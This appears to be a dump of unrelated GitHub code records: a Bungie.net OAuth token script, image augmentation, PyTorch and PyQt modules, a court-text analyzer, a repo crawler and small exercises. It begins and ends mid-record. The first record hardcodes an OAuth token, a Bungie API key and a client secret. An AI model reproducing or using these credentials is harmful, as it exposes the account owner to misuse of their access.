#token='CO6wAxKGAgAgERb56w/nq+YTDalgzcW8VDiuIwPH6kL64gGV1J9E4JvgAAAA36a2QbvmYXH9ujUt9XLxG9XKQIxSTJmyNI8TZ2P3dAqzj8DViW/oFARJrq0FYgbyToSN3OlMKYs6kOs16Bo5PNZBOmqoBT7WFiQk9RNmugBwpUwBEPbKKdxE0NDz0oOWwxMGwgexQVR5gsD+LK6b4ct6B7nfq+ub6AfblRBlH73iQjZY4iLbTAh0tNd6vwAaEfTMAESbSB1jLkKi6MImNvuA6Tkr92ZwTKavN4/taxjc3pPA7V+03CcL0YDSBXNj3wm1yPrGwdzGRJ6AVFU9yt+kDSZfcjhMcYEXjYrP5vY='\n\n if code != '':\n print(code)\n\n CLIENT_ID = '37141'\n url = 'https://www.bungie.net/Platform/App/OAuth/token/'\n api_key = 'afb7b0fcc0604ab49612af8de1b758f2'\n\n\n # Either Way Works\n # data='grant_type=authorization_code&code='+ code + '&client_id='+CLIENT_ID\n data = {'grant_type': 'authorization_code',\n 'code': code,\n 'client_id': CLIENT_ID,\n 'client_secret':CLIENT_SECRET}\n\n headers = {'Content-Type': 'application/x-www-form-urlencoded'}\n # headers={'Content-Type':'application/x-www-form-urlencoded'}\n\n # response = requests.request(\"POST\", url, headers=headers, data=payload)\n\n\n #response1 = await fetch_token(url,headers,data)\n response1 = requests.request(\"POST\", url, headers=headers, data=data)\n\n \"\"\"\n #Multiple Tasks Wait\n tasks = []\n task = asyncio.create_task(fetch_token(url, headers, data))\n tasks.append(task)\n response2 = await asyncio.gather(*tasks)\n \"\"\"\n\n\n #response = await requests.request(\"POST\", url, headers=headers, data=data)\n\n access_token = json.loads(response1.text)['access_token']\n refresh_token = json.loads(response1.text)['refresh_token']\n\n f = open(\"token.txt\", \"w+\")\n f.write(str(access_token) + \"\\n\")\n f.write(str(refresh_token) + \"\\n\")\n f.close()\n\n #Shut The Server Down\n ##func = request.environ.get('werkzeug.server.shutdown')\n ##if func is None:\n ## raise RuntimeError('Not running with the Werkzeug Server')\n ##func()\n\n #Switch to other main tasks\n await asyncio.sleep(1)\n\n\n headers = {\n 'X-API-Key': api_key,\n 'Authorization': 'Bearer ' + access_token}\n\n #data = {'grant_type': 'authorization_code',\n # 'code': token,\n # 'client_id': CLIENT_ID,\n # 'client_secret':CLIENT_SECRET}\n\n\n url3 = \"https://www.bungie.net/Platform/User/ReadBasicUserProfile/\"\n url2 = \"https://www.bungie.net/Platform/User/GetCurrentBungieNetUser/\"\n response2 = requests.request(\"GET\", url2, headers=headers)\n\n\n B = json.loads(response2.content)\n\n x=3\n\n Rdata = {'grant_type': 'refresh_token',\n 'refresh_token': refresh_token,\n 'client_id': CLIENT_ID,\n 'client_secret': CLIENT_SECRET}\n\n headers = {'Content-Type': 'application/x-www-form-urlencoded'}\n\n Rresponse = requests.request(\"POST\", url,headers=headers, data=Rdata)\n\n return access_token\n\n return text % make_authorization_url()\n\n\ndef make_authorization_url():\n # Generate a random string for the state parameter\n # Save it for use later to prevent xsrf attacks\n from uuid import uuid4\n state = str(uuid4())\n #save_created_state(state)\n params = {\"client_id\": CLIENT_ID,\n \"response_type\": \"code\",\n \"redirect_uri\": REDIRECT_URI}\n # \"state\": state,\n # \"redirect_uri\": REDIRECT_URI,\n # \"duration\": \"temporary\",\n # \"scope\": \"identity\"}\n import urllib\n url = \"https://www.bungie.net/en/oauth/authorize?\" + urllib.parse.urlencode(params)\n return url\n\n\n# Left as an exercise to the reader.\n# You may want to store valid states in a database or memcache,\n# or perhaps cryptographically sign them and verify upon retrieval.\n\nasync def open_token():\n CLIENT_ID = \"37141\"\n\n REDIRECT_URI = \"http://localhost:65010/reddit_callback2\"\n api_key = 'afb7b0fcc0604ab49612af8de1b758f2'\n CLIENT_SECRET = 'L6j-9vwZFv.uLcbx76o-o9JrEKSglu2Xz6lde45bYSA'\n\n # open the data file\n file = open(\"token.txt\")\n # read the file as a list\n data = file.readlines()\n\n access_token = data[0].strip('\\n')\n refresh_token = data[1].strip('\\n')\n # close the file\n file.close()\n\n headers = {\n 'X-API-Key': api_key,\n 'Authorization': 'Bearer ' + access_token}\n\n url2 = \"https://www.bungie.net/Platform/User/GetCurrentBungieNetUser/\"\n response2 = requests.request(\"GET\", url2, headers=headers)\n x = 3\n print(data)\n return response2\n\nfrom flask import abort, request,redirect\n\nasync def app_run():\n await app.run(debug=True, port=65011)\n\nasync def runApp():\n await app.run(debug=True, use_reloader=False, port=65011)\n\n\nasync def main():\n\n \"\"\"\n try:\n response2=open_token()\n except ClientResponseError:\n print(\"Could not refresh tokens\")\n sys.exit(-1)\n\n if response2.status_code==200:\n print('Goodness')\n else:\n print('We need to recreate or refresh New Token')\n \"\"\"\n\n await asyncio.gather(runApp(),open_token())\n asyncio.ensure_future()\n tasks = []\n #task = asyncio.create_task(app_run())\n #task = asyncio.create_task(runApp())\n task=asyncio.ensure_future(runApp())\n tasks.append(task)\n #task = asyncio.create_task(app.run(debug=True, port=65011))\n #task = asyncio.create_task(open_token())\n task = asyncio.ensure_future(open_token())\n tasks.append(task)\n\n await asyncio.gather(*tasks)\n\n\n\nif __name__ == '__main__':\n # Multiple Tasks Wait\n asyncio.run(main())\n\n \"\"\"\n tasks = []\n task = asyncio.create_task(app.run(debug=True, port=65011))\n task = asyncio.create_task(open_token())\n\n\n tasks.append(task)\n await asyncio.gather(*tasks)\n\n\n\n\n app.run(debug=True, port=65011)\n x=4\n \"\"\"","repo_name":"Chobofied/Destiny_Search","sub_path":"Make_Token_async.py","file_name":"Make_Token_async.py","file_ext":"py","file_size_in_byte":6637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"15895898050","text":"k = 0\ndates = [[99999] * 3 for l in range(100000)]\nfor i in range(100000):\n try:\n dates[i][0], dates[i][1], dates[i][2] = input().split(' ')\n k += 1\n except:\n break\ndatessorted = [1000000] * k\nfor i in range(k):\n datessorted[i] = int((dates[i][2]) + (dates[i][1]).rjust(2,\"0\") + (dates[i][0]).rjust(2,\"0\"))\ndatessorted.sort()\nfor i in range(k):\n datessorted[i] = str(datessorted[i]).rjust(8, \"0\")\n temparr = list(datessorted[i])\n print(str(temparr[6] + temparr[7]), str(temparr[4] + temparr[5]), str(temparr[0] + temparr[1] + temparr[2] + temparr[3]))","repo_name":"assylkagirov/spring2022_PP2","sub_path":"lab2/m.py","file_name":"m.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34873275168","text":"import random\n\nimport cv2\nimport numpy as np\n\nfrom augraphy.base.augmentation import Augmentation\n\n\nclass DirtyRollers(Augmentation):\n \"\"\"Emulates an effect created by certain document scanners.\n\n :param line_width_range: Pair of ints determining the range from which the\n width of a dirty roller line is sampled.\n :type line_width_range: tuple, optional\n :param scanline_type: Types of scanline, use 0 for white background.\n :type scanline_type: int, optional\n :param p: The probability this Augmentation will be applied.\n :type p: float, optional\n \"\"\"\n\n def __init__(\n self,\n line_width_range=(8, 12),\n scanline_type=0,\n p=1,\n ):\n \"\"\"Constructor method\"\"\"\n super().__init__(p=p)\n self.line_width_range = line_width_range\n self.scanline_type = scanline_type\n\n # Constructs a string representation of this Augmentation.\n def __repr__(self):\n return f\"DirtyRollers(line_width_range={self.line_width_range}, scanline_type={self.scanline_type}, p={self.p})\"\n\n def apply_scanline_mask(self, img, mask, meta_mask):\n \"\"\"Main function to apply scanline mask to input image.\n :param img: The image to apply the function.\n :type img: numpy.array (numpy.uint8)\n :param mask: Mask of scanline effect.\n :type mask: numpy.array (numpy.uint8)\n :param meta_mask: Meta mask of scanline effect.\n :type meta_mask: numpy.array (numpy.uint8)\n \"\"\"\n\n # for dark background\n if self.scanline_type:\n return self.apply_scanline_mask_v2(img, mask, meta_mask)\n # for white background\n else:\n return self.apply_scanline_mask_v1(img, mask, meta_mask)\n\n def apply_scanline_mask_v2(self, img, mask, meta_mask):\n \"\"\"Function to apply scanline mask to input image with dark background.\n :param img: The image to apply the function.\n :type img: numpy.array (numpy.uint8)\n :param mask: Mask of scanline effect.\n :type mask: numpy.array (numpy.uint8)\n :param meta_mask: Meta mask of scanline effect.\n :type meta_mask: numpy.array (numpy.uint8)\n \"\"\"\n mask = self.apply_scanline_metamask_v2(mask, meta_mask)\n new_image = np.add(img, np.multiply(img, (1 - (mask / 100))))\n new_image[new_image > 255] = 255\n return new_image\n\n def apply_scanline_metamask_v2(self, img, mask):\n \"\"\"Function to apply scanline meta mask to scanline mask of dark background.\n :param img: The mask image to apply the function.\n :type img: numpy.array (numpy.uint8)\n :param mask: Meta mask of scanline effect.\n :type mask: numpy.array (numpy.uint8)\n \"\"\"\n new_mask = np.subtract(img, np.multiply(img, (1 - (mask / 100))))\n new_mask[new_mask < 0] = 0\n return new_mask\n\n def apply_scanline_mask_v1(self, img, mask, meta_mask):\n \"\"\"Function to apply scanline mask to input image with white background.\n :param img: The image to apply the function.\n :type img: numpy.array (numpy.uint8)\n :param mask: Mask of scanline effect.\n :type mask: numpy.array (numpy.uint8)\n :param meta_mask: Meta mask of scanline effect.\n :type meta_mask: numpy.array (numpy.uint8)\n \"\"\"\n mask = self.apply_scanline_metamask_v1(mask, meta_mask)\n new_image = np.subtract(img, np.multiply(img, (1 - (mask / 100))))\n new_image[new_image < 0] = 0\n return new_image\n\n def apply_scanline_metamask_v1(self, img, mask):\n \"\"\"Function to apply scanline meta mask to scanline mask of white background.\n :param img: The mask image to apply the function.\n :type img: numpy.array (numpy.uint8)\n :param mask: Meta mask of scanline effect.\n :type mask: numpy.array (numpy.uint8)\n \"\"\"\n new_mask = np.add(img, np.multiply(img, (1 - (mask / 100))))\n new_mask[new_mask > 99] = 99\n return new_mask\n\n def create_scanline_mask(self, width, height, line_width):\n \"\"\"Function to create scanline mask.\n :param width: Width of scanline mask.\n :type width: int\n :param height: Height of scanline mask.\n :type height: int\n :param line_width: Width of a dirty roller line.\n :type line_width: int\n \"\"\"\n grad_list = list()\n\n # Create Standard Bar\n grad_high_pct = random.randint(86, 99)\n grad_low_pct = random.randint(70, 85)\n\n grad_dec = (grad_low_pct - grad_high_pct) / (line_width)\n grad_grid = np.mgrid[grad_high_pct:grad_low_pct:grad_dec]\n grad_grid = np.hstack((grad_grid, np.flip(grad_grid)))\n grad_grid = np.tile(grad_grid, (height, 1))\n grad_list.append(grad_grid)\n\n # Create Standard Bar with Wide Dark\n grad_dec = (grad_low_pct - grad_high_pct) / (line_width)\n grad_grid = np.mgrid[grad_high_pct:grad_low_pct:grad_dec]\n grad_center = np.full((random.randint(1, 6)), grad_low_pct)\n grad_grid = np.hstack((grad_grid, grad_center, np.flip(grad_grid)))\n grad_grid = np.tile(grad_grid, (height, 1))\n grad_list.append(grad_grid)\n\n # Create Standard Bar with Wide Light\n grad_dec = (grad_low_pct - grad_high_pct) / (line_width)\n grad_grid = np.mgrid[grad_high_pct:grad_low_pct:grad_dec]\n grad_exterior = np.full((random.randint(1, 6)), grad_high_pct)\n grad_grid = np.hstack((grad_grid, np.flip(grad_grid), grad_exterior))\n grad_grid = np.tile(grad_grid, (height, 1))\n grad_list.append(grad_grid)\n\n # Create Standard Bar with Lower Dark\n grad_high_pct += min(100, random.randint(-3, 3))\n grad_low_pct -= random.randint(5, 8)\n grad_dec = (grad_low_pct - grad_high_pct) / (line_width)\n grad_grid = np.mgrid[grad_high_pct:grad_low_pct:grad_dec]\n grad_grid = np.hstack((grad_grid, np.flip(grad_grid)))\n grad_grid = np.tile(grad_grid, (height, 1))\n grad_list.append(grad_grid)\n\n # Create Standard Bar with Low Dark and Wide Dark\n grad_dec = (grad_low_pct - grad_high_pct) / (line_width)\n grad_grid = np.mgrid[grad_high_pct:grad_low_pct:grad_dec]\n grad_center = np.full((random.randint(1, 6)), grad_low_pct)\n grad_grid = np.hstack((grad_grid, grad_center, np.flip(grad_grid)))\n grad_grid = np.tile(grad_grid, (height, 1))\n grad_list.append(grad_grid)\n\n # Create Standard Bar with Low Dark Wide Light\n grad_dec = (grad_low_pct - grad_high_pct) / (line_width)\n grad_grid = np.mgrid[grad_high_pct:grad_low_pct:grad_dec]\n grad_exterior = np.full((random.randint(1, 6)), grad_high_pct)\n grad_grid = np.hstack((grad_grid, np.flip(grad_grid), grad_exterior))\n grad_grid = np.tile(grad_grid, (height, 1))\n grad_list.append(grad_grid)\n\n mask = random.choice(grad_list)\n while mask.shape[1] < width:\n mask = np.hstack((mask, random.choice(grad_list)))\n\n return mask[:, 0:width]\n\n # Applies the Augmentation to input data.\n def __call__(self, image, layer=None, force=False):\n if force or self.should_run():\n line_width = random.randint(\n self.line_width_range[0],\n self.line_width_range[1],\n )\n rotate = random.choice([True, False])\n\n if rotate:\n image = cv2.rotate(image, cv2.ROTATE_90_CLOCKWISE)\n\n if len(image.shape) > 2:\n image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n mask = self.create_scanline_mask(image.shape[1], image.shape[0], line_width)\n\n meta_mask = self.create_scanline_mask(\n image.shape[1],\n image.shape[0],\n line_width * random.randint(10, 25),\n )\n image = self.apply_scanline_mask(image, mask, meta_mask).astype(\"uint8\")\n image = cv2.cvtColor(image, cv2.COLOR_GRAY2BGR)\n\n if rotate:\n image = cv2.rotate(image, cv2.ROTATE_90_COUNTERCLOCKWISE)\n\n return image\n","repo_name":"hoangthanh283/augraphy","sub_path":"augraphy/augmentations/dirtyrollers.py","file_name":"dirtyrollers.py","file_ext":"py","file_size_in_byte":8129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"23025232042","text":"# ## Задание 3\n# Создать собственный класс-исключение, который должен проверять содержимое списка на наличие только чисел.\n# * Проверить работу исключения на реальном примере.\n# * Запрашивать у пользователя данные и заполнять список необходимо только числами.\n# * Класс-исключение должен контролировать типы данных элементов списка.\n#\n# > Примечание: длина списка не фиксирована. Элементы запрашиваются бесконечно, пока пользователь сам не остановит\n# > работу скрипта, введя, например, команду `stop`.\n# > При этом скрипт завершается, сформированный список с числами выводится на экран.\n#\n# > Подсказка: для этого задания примем, что пользователь может вводить только числа и строки.\n# > Во время ввода пользователем очередного элемента необходимо реализовать проверку типа элемента.\n# > Вносить его в список, только если введено число.\n# > Класс-исключение должен не позволить пользователю ввести текст (не число) и отобразить соответствующее сообщение.\n# > При этом работа скрипта не должна завершаться.\n\n\nimport sys\n\nclass OnlyInt(Exception):\n def __init__(self, txt):\n print('В списке должны быть только числа!')\n\n @staticmethod\n def check(list_in: list = []) -> bool:\n return False if sum([True for i in list_in if not str(i).isnumeric()]) > 0 else True\n\n\nprint('Введите числа, которые нужно добавить в список. Можно вводить несколько \\\nчисел через пробел. Введите \"stop\" для прерывания процесса.')\n\na = []\nfor line in sys.stdin:\n if line.rstrip('\\n') == 'stop': break\n try:\n ar = line.split()\n if OnlyInt.check(ar) == False:\n raise OnlyInt(ar)\n else:\n a.extend(ar)\n except OnlyInt as e:\n pass\n\nprint(f'Получился список: {a}')\n","repo_name":"AlekseyGur/Education","sub_path":"Python-alt/lesson_11/task_3.py","file_name":"task_3.py","file_ext":"py","file_size_in_byte":2661,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"15636563399","text":"from setuptools import find_packages, setup\n\n\nwith open(\"requirements.txt\") as f:\n required = f.read().splitlines()\n\n\nsetup(\n name=\"heart\",\n packages=find_packages(),\n version=\"0.1.0\",\n description=\"MLOps Homework #1\",\n author=\"Viliars (Michael Pritugin)\",\n entry_points={\n \"console_scripts\": [\n \"train = heart.models.train:main\",\n \"predict = heart.models.predict:main\",\n \"download_dataset = heart.data.download_dataset:main\",\n ]\n },\n install_requires=required,\n)\n","repo_name":"made-mlops-2022/pritugin_michael","sub_path":"ml_project/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38780182745","text":"\n# from turtle import onrelease\nfrom PyQt5.QtWidgets import QMessageBox\nfrom PyQt5.QtGui import *\nfrom modules.displays import Display\nfrom modules.utility import print_debug\nfrom modules import browse\n\n\ndef init_connectors(self):\n '''Initializes all event connectors and triggers'''\n\n # ''' Menu Bar'''\n\n # self.actionAbout_Us = self.findChild(QAction, \"actionAbout_Us\")\n # self.actionAbout_Us.triggered.connect(\n # lambda: about_us(self))\n\n # self.WindowTabs = self.findChild(QTabWidget, \"WindowTabs\")\n\n ''' Browse buttons'''\n # the index argument maps each function to its respective slot\n self.actionOpen.triggered.connect(\n lambda: browse.browse_window(self))\n\n # connectors to the pyqtgraph lines\n # useful docs: https://pyqtgraph.readthedocs.io/en/latest/api_reference/graphicsItems/infiniteline.html#pyqtgraph.InfiniteLine\n #connect lines to sigPositionChanged event\n \n self.volume_array = None\n \n self.axial_vline.sigPositionChanged.connect(lambda: Display.update_image(self, self.volume_array,\"axial\", self.angle_slider.value()))\n self.axial_hline.sigPositionChanged.connect(lambda: Display.update_image(self, self.volume_array,\"axial\", self.angle_slider.value()))\n self.axial_oline.sigPositionChanged.connect(lambda: Display.update_image(self, self.volume_array,\"axial\", self.angle_slider.value()))\n\n self.sagittal_vline.sigPositionChanged.connect(lambda: Display.update_image(self, self.volume_array,\"sagittal\"))\n self.sagittal_hline.sigPositionChanged.connect(lambda: Display.update_image(self, self.volume_array,\"sagittal\"))\n\n self.coronal_vline.sigPositionChanged.connect(lambda: Display.update_image(self, self.volume_array,\"coronal\"))\n self.coronal_hline.sigPositionChanged.connect(lambda: Display.update_image(self, self.volume_array,\"coronal\"))\n\n self.oblique_hline.sigPositionChanged.connect(lambda: Display.update_image(self, self.volume_array,\"oblique\"))\n \n self.angle_slider.valueChanged.connect(lambda: Display.update_image(self, self.volume_array,\"axial\", self.angle_slider.value()))\n # self.angle_slider.valueChanged.connect(lambda: axial_oline.set)\n self.angle_slider.valueChanged.connect(lambda: self.angle_label.setText(str(\"Anlge: \"+str(self.angle_slider.value()))))\n self.line.clicked.connect(\n lambda: Display.setActive(self, 'line')\n )\n self.polygon.clicked.connect(\n lambda: Display.setActive(self, 'polygon')\n )\n self.elps.clicked.connect(\n lambda: Display.setActive(self, 'ellipse')\n )\n self.angle.clicked.connect(\n lambda: Display.setActive(self, 'angle')\n )\n self.clear.clicked.connect(\n lambda: Display.clear(self)\n )\n \n print_debug(\"Connectors Initialized\")\n\ndef about_us(self):\n QMessageBox.about(\n self, ' About ', 'This is a Medical Image Viewer \\nCreated by junior students from the faculty of Engineering, Cairo Uniersity, Systems and Biomedical Engineering department \\n \\n Created By: Mohamed Nasser ')\n","repo_name":"mo-gaafar/CT-slicing-toolbox","sub_path":"src/modules/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":3023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17343169339","text":"import json\r\nimport requests\r\nimport transliterate\r\n\r\n#Обрабатывает прежде полученые данные, и формирует из их выходной результат для передачи в AMS систему\r\nclass Dump:\r\n def __init__(self, agents, agents_numb, atribute, atribute_numb, verb, verb_numb, point, money, money_numb, data, person, abbreviation, abbreviation_number):\r\n self.agents = agents\r\n self.agents_numb = agents_numb\r\n self.atribute = atribute\r\n self.attr_numb = atribute_numb\r\n self.action = verb\r\n self.action_numb = verb_numb\r\n self.points = point\r\n self.money = money\r\n self.money_numb = money_numb\r\n self.data = data\r\n self.person=person\r\n self.abbreviation=abbreviation\r\n self.abbreviation_number=abbreviation_number\r\n self.Supreme_keyword=['верховний суд',\"вищий адмiнiстративний суд\"]\r\n self.State_keyword=['окружний суд','адміністративний суд','апеляційний адміністративний суд','гу', 'головне управління']\r\n self.Tax_keyword=['компанiя', 'фiрма','ТОВ','ПФГ','Товариство з обмеженою відповідальністю']\r\n \r\n def to_result(self):\r\n\r\n for uri_index in reversed(self.abbreviation_number):\r\n for agent_index in reversed(self.agents_numb):\r\n\r\n if(uri_index>agent_index):\r\n a_tmp=self.agents[self.agents_numb.index(agent_index)]+' '+self.abbreviation[self.abbreviation_number.index(uri_index)]\r\n\r\n self.agents.insert(self.agents_numb.index(agent_index),a_tmp)\r\n self.agents.pop(self.agents_numb.index(agent_index)+1)\r\n\r\n break\r\n tmp=''\r\n flag=True\r\n for i in self.agents:\r\n flag=True\r\n if(flag==True):\r\n for j in self.Supreme_keyword:\r\n index=(i.lower()).find(j.lower())\r\n if(index!=-1):\r\n\r\n tmp+=i+'( {})'.format('SupremeCourt')+'\\n'\r\n flag=False\r\n break\r\n if (flag == True):\r\n for j in self.State_keyword:\r\n index = (i.lower()).find(j.lower())\r\n\r\n if (index != -1):\r\n\r\n tmp += i + '( {})'.format('StateAutority')+'\\n'\r\n flag = False\r\n break\r\n if (flag == True):\r\n for j in self.Tax_keyword:\r\n index = (i.lower()).find(j.lower())\r\n if (index != -1):\r\n\r\n tmp += i + '( {})'.format('TaxPayer')+'\\n'\r\n flag = False\r\n break\r\n\r\n\r\n\r\n print(tmp)\r\n\r\n","repo_name":"dubinavlad/text_analyzer","sub_path":"Classes/new_results.py","file_name":"new_results.py","file_ext":"py","file_size_in_byte":2959,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34187545836","text":"a=int(input('Введите натуральное число: '))\ncount=0\nb=1\nwhile a>=b:\n if a%b==0:\n count=count+1\n b=b+1\n else:\n b=b+1\nif count==2:\n print('Данное число является простым')\nelse:\n print('Данное число не является простым')\n","repo_name":"egorov-oleg/hello-world","sub_path":"task17.py","file_name":"task17.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37421049483","text":"import numpy as np\n\n\ndef nan_replace(x):\n is_nan = np.isnan(x)\n # print(is_nan)\n k = np.where(is_nan)\n # print(k)\n x[k] = np.nanmean(x[:, k[1]], axis=0)\n # axis = 0 calculul se face pe coloane\n","repo_name":"foreastbtch/DSAD","sub_path":"Seminar2_DSAD/functii.py","file_name":"functii.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"24375187014","text":"import torch.nn as nn\n\nclass SFAM(nn.Module):\n def __init__(self, planes, num_levels, num_scales, compress_ratio=16):\n super(SFAM, self).__init__()\n self.planes = planes\n self.num_levels = num_levels\n self.num_scales = num_scales\n self.compress_ratio = compress_ratio\n\n self.fc1 = nn.ModuleList([nn.Conv2d(self.planes*self.num_levels,\n self.planes*self.num_levels // self.compress_ratio,\n 1, 1, 0)] * self.num_scales)\n self.relu = nn.ReLU(inplace=True)\n self.fc2 = nn.ModuleList([nn.Conv2d(self.planes*self.num_levels // self.compress_ratio,\n self.planes*self.num_levels,\n 1, 1, 0)] * self.num_scales)\n self.sigmoid = nn.Sigmoid()\n self.avgpool = nn.AdaptiveAvgPool2d(1)\n\n def forward(self, x):\n attention_feat = []\n for i, _mf in enumerate(x):\n _tmp_f = self.avgpool(_mf)\n _tmp_f = self.fc1[i](_tmp_f)\n _tmp_f = self.relu(_tmp_f)\n _tmp_f = self.fc2[i](_tmp_f)\n _tmp_f = self.sigmoid(_tmp_f)\n attention_feat.append(_mf*_tmp_f)\n return attention_feat","repo_name":"kawhidiot/isprs_seg","sub_path":"tools/module_test.py","file_name":"module_test.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"10499707118","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import (division, print_function, absolute_import,\n unicode_literals)\nimport os\nimport time\nimport json\nimport traceback\nfrom crawler.repos import get_random_repos, process_repo\n\ninfo_fn = \"data/_STATS.json\"\nif os.path.exists(info_fn):\n with open(info_fn, \"r\") as f:\n info = json.load(f)\nelse:\n info = {}\n info[\"ntot\"] = 0\n info[\"nreadme\"] = 0\n info[\"nlicense\"] = 0\n\nwhile True:\n # Get a list of random repos.\n strt = time.time()\n try:\n repos = get_random_repos()\n except Exception as e:\n print(\"While getting repos, got exception: \")\n traceback.print_exc()\n continue\n\n # Loop over these repos and process each one.\n r = []\n for repo in repos:\n try:\n r.append(process_repo(repo))\n except Exception as e:\n print(\"While analyzing a repo {0}, got exception: \"\n .format(repo[\"full_name\"]))\n traceback.print_exc()\n continue\n\n # Count the number of readmes and licenses.\n r = map(sum, zip(*r))\n info[\"ntot\"] += r[0]\n info[\"nreadme\"] += r[1]\n info[\"nlicense\"] += r[2]\n\n # Watch the grass grow.\n print((\"Analyzed {0} repositories. Found: {1} readmes, {2} licenses. \"\n \"Took {3} seconds.\").format(info[\"ntot\"], info[\"nreadme\"],\n info[\"nlicense\"], time.time() - strt))\n with open(info_fn, \"w\") as f:\n json.dump(info, f)\n","repo_name":"dfm/github-repo-crawler","sub_path":"crawl.py","file_name":"crawl.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"82"} +{"seq_id":"16123256858","text":"from GUI_3 import *\r\nfrom classification import *\r\nfrom PyQt5.QtWidgets import QTableWidgetItem\r\nimport webbrowser\r\n\r\n\r\ndef _respond_none(given):\r\n \"\"\"\r\n respons to case thet the original ype was None\r\n :param given: the value tet input in the hyper parameters table (type: unknown that why we have that program)\r\n :return:\r\n \"\"\"\r\n try:\r\n given = int(given)\r\n except Exception:\r\n try:\r\n given = float(given)\r\n except Exception:\r\n try:\r\n given = str(given)\r\n except Exception:\r\n given = None\r\n return given\r\n\r\n\r\nclass GridSerch:\r\n def __init__(self, val_exact):\r\n self.val_exact = val_exact\r\n self.MainWindow = QtWidgets.QMainWindow()\r\n self.ui = Ui_MainWindow()\r\n self.ui.setupUi(self.MainWindow)\r\n self.ui.grid_search.clicked.connect(self._grid_search)\r\n self.ui.modal_modulation.clicked.connect(self._modal_modulation)\r\n self.ui.K_folds_nested_btn.clicked.connect(self._nested)\r\n self.ui.LLR.click()\r\n self.ui.skylearn_help_btn.clicked.connect(self._skylearn_help)\r\n # self.ui.next.clicked.connect(self._next)\r\n\r\n def set_model(self, model):\r\n \"\"\"\r\n setting the classification model\r\n :param model: the model that defines in the last screen (type: Classification)\r\n :return:\r\n \"\"\"\r\n self.model: Classification = model\r\n hiper_parms = list(self.model.model.get_params().keys())\r\n parms = list(self.model.model.get_params().values())\r\n self.ui.param_tabel.setColumnCount(len(hiper_parms))\r\n self.ui.K_folds_num.setText(str(PreProcess._K_FOLDS))\r\n self.ui.core_lim.setText(str(PreProcess._MALTY_PROCESSES))\r\n self.ui.nested_le.setText(str(self.model.features_size))\r\n self.ui.param_tabel.setHorizontalHeaderLabels(hiper_parms)\r\n self.ui.param_tabel.setRowCount(1)\r\n self.typs = []\r\n for num, i in enumerate(parms):\r\n self.typs.append(type(i))\r\n item = QTableWidgetItem(str(i))\r\n self.ui.param_tabel.setItem(0, num, item)\r\n\r\n def _nested(self):\r\n \"\"\"\r\n using K fold nested validation on the data set to determn the hiper parmeter and the number of faetures\r\n :return:\r\n \"\"\"\r\n if self.ui.LLR.isChecked():\r\n method = \"most_likelihoods\"\r\n elif self.ui.majorety_vote.isChecked():\r\n method = \"majority_vote\"\r\n elif self.ui.no_vote.isChecked():\r\n method = \"no_vote\"\r\n\r\n hiper_parms = list(self.model.model.get_params().keys())\r\n for_grid = []\r\n for num, i in enumerate(self.typs):\r\n tamp = self.ui.param_tabel.item(0, num).text()\r\n if tamp == \"None\":\r\n for_grid.append((hiper_parms[num], None))\r\n continue\r\n tamp_list = []\r\n if tamp[0] == \"[\" and tamp[-1] == \"]\":\r\n tamp = tamp[1:-1].split(\",\")\r\n for j in tamp:\r\n if self.typs[num] == type(None):\r\n j = _respond_none(j)\r\n else:\r\n j = self.typs[num](j)\r\n tamp_list.append(j)\r\n for_grid.append((hiper_parms[num], tamp_list))\r\n else:\r\n if self.typs[num] == type(None):\r\n tamp = _respond_none(tamp)\r\n else:\r\n tamp = self.typs[num](tamp)\r\n for_grid.append((hiper_parms[num], tamp))\r\n self.model.set_global_setting(for_grid)\r\n\r\n features_list = self.ui.nested_le.text()\r\n if features_list[0] == \"[\":\r\n features_list = features_list[1:]\r\n if features_list[-1] == \"]\":\r\n features_list = features_list[:-1]\r\n features_list = features_list.split(\",\")\r\n for num, i in enumerate(features_list):\r\n features_list[num] = int(i)\r\n num_features, params_dic = self.model.K_folds_nested(N_features=features_list,\r\n number_of_folds=int(self.ui.K_folds_num.text()),\r\n method=method)\r\n\r\n def _grid_search(self):\r\n \"\"\"\r\n using grid search on the data set to determine the hyper parameters and move to the next screen\r\n :return:\r\n \"\"\"\r\n k_folds = int(self.ui.K_folds_num.text())\r\n core_lim = int(self.ui.core_lim.text())\r\n self.model.grid_search_k_folds(k_folds=k_folds, multi_proses=core_lim)\r\n hiper_parms = list(self.model.model.get_params().keys())\r\n for_grid = []\r\n for num, i in enumerate(self.typs):\r\n tamp = self.ui.param_tabel.item(0, num).text()\r\n if tamp == \"None\":\r\n for_grid.append((hiper_parms[num], None))\r\n continue\r\n tamp_list = []\r\n if tamp[0] == \"[\" and tamp[-1] == \"]\":\r\n temp_list = tamp[1:-1].split(\",\")\r\n for j in temp_list:\r\n if self.typs[num] == type(None):\r\n j = _respond_none(j)\r\n else:\r\n j = self.typs[num](j)\r\n tamp_list.append(j)\r\n for_grid.append((hiper_parms[num], tamp_list))\r\n else:\r\n if self.typs[num] == type(None):\r\n tamp = _respond_none(tamp)\r\n else:\r\n tamp = self.typs[num](tamp)\r\n for_grid.append((hiper_parms[num], tamp))\r\n 